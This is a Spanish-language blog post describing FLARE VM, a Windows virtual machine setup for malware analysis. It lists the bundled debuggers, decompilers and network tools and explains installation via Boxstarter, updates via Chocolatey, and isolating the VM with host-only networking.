    FLARE VM es una especie de máquina virtual que se basa en Windows 7 o superior y que se encargará de armar nuestro laboratorio para el análisis de malware principalmente con herramientas para el debugging, desensamblado, decompiladores, herramientas para el análisis estático y dinámico, análisis y manipulación de red, análisis web, explotación, análisis de vulnerabilidades en aplicaciones...

    Los desarrolladores de este proyecto mencionan que se han inspirado en distribuciones Linux orientadas a la seguridad como Kali Linux, REMnux...
    Debuggers:

    - OllyDbg + OllyDump + OllyDumpEx
    - OllyDbg2 + OllyDumpEx
    - x64dbg
    - WinDbg

    Desensambladores:


    - IDA Free
    - Binary Ninja Demo

    Java:

    - JD-GUI
    - dex2jar

    Visual Basic:

    - VBDecompiler

    Flash:

    - FFDec

    .NET:

    - ILSpy
    - DNSpy
    - DotPeek
    - De4dot

    Office:

    - Offvis

    Editores hexadecimales:

    - FileInsight
    - HxD
    - 010 Editor

    PE:

    - PEiD
    - ExplorerSuite (CFF Explorer)
    - PEview
    - DIE
    - PeStudio

    Editores de texto:

    - SublimeText3
    - Notepad++
    - Vim

    Útiles:

    - MD5
    - 7zip
    - Putty
    - Wireshark
    - RawCap
    - Wget
    - UPX
    - Process Hacker
    - Sysinternals Suite
    - API Monitor
    - SpyStudio
    - Checksum
    - Unxutils

    Python, modulos y herramientas:

    - Python 2.7
    - Hexdump
    - PEFile
    - Winappdbg
    - FakeNet-NG
    - Vivisect
    - FLOSS
    - FLARE_QDB
    - PyCrypto
    - Cryptography

    Otros:

    - VC Redistributable Modules (2008, 2010, 2012, 2013, 2015)

    Instalación:

    La instalación es simple, solo tendremos que instalar una versión de Windows 7 o superior en una máquina virtual, cuando hayamos completado la instalación, desde un navegador cualquiera de la máquina virtual deberemos acceder al siguiente link:


    Al acceder se nos intentará descargar un archivo llamado Boxstarter.WebLaunch.Application, los descargamos y lo ejecutamos como en la imagen.


    Después de la instalación de Boxstarter WebLauncher se te va a presentar una terminal preguntándote por la contraseña de Windows de la máquina virtual esto se debe a que la máquina se reiniciará varias veces para completar la instalación y así se evita introducir repetidamente la contraseña después de cada reinicio.



    Ahora deberás esperar a que la instalación se complete automáticamente. Tras acabar la instalación, se recomienda configurar la máquina virtual en Host-Only para así evitar que el malware se conecte directamente a internet o a nuestra red local, también se recomienda tener guardada una snapshot de la máquina virtual totalmente limpia. Tras la instalación el escritorio debería quedar como la siguiente imagen.


    En la carpeta FLARE encontraremos todas las herramientas instaladas.

    Instalación de paquetes y actualizaciones de FLARE VM:

    FLARE VM está constantemente actualizándose y permite un alto nivel de personalización gracias a Chocolatey projects, que es un sistema de paquetes basado en Windows con miles de paquetes disponibles para su descarga. Aquí podrás encontrar una larga lista de todos ellos: https://chocolatey.org/packages. A parte del repositorio de Cholcolatey, FLARE VM usa su propio repositorio que consta de 40 paquetes actualizándose continuamente. Todo esto significa que podrás agregar paquetes a tu máquina virtual, como por ejemplo Firefox en la siguiente imagen.


    Para actualizar la nuestra FLARE VM simplemente deberemos ejecutar el comando cup all para que automaticamente empiece la actualización como en la siguiente imagen.


    Mucha más información junto a un ejemplo de análisis en el siguiente link de FireEye: https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html
    Y el GitHub del proyecto con diversa documentación util: https://github.com/fireeye/flare-vm
    Viewing all 1661 articles
    Browse latest View live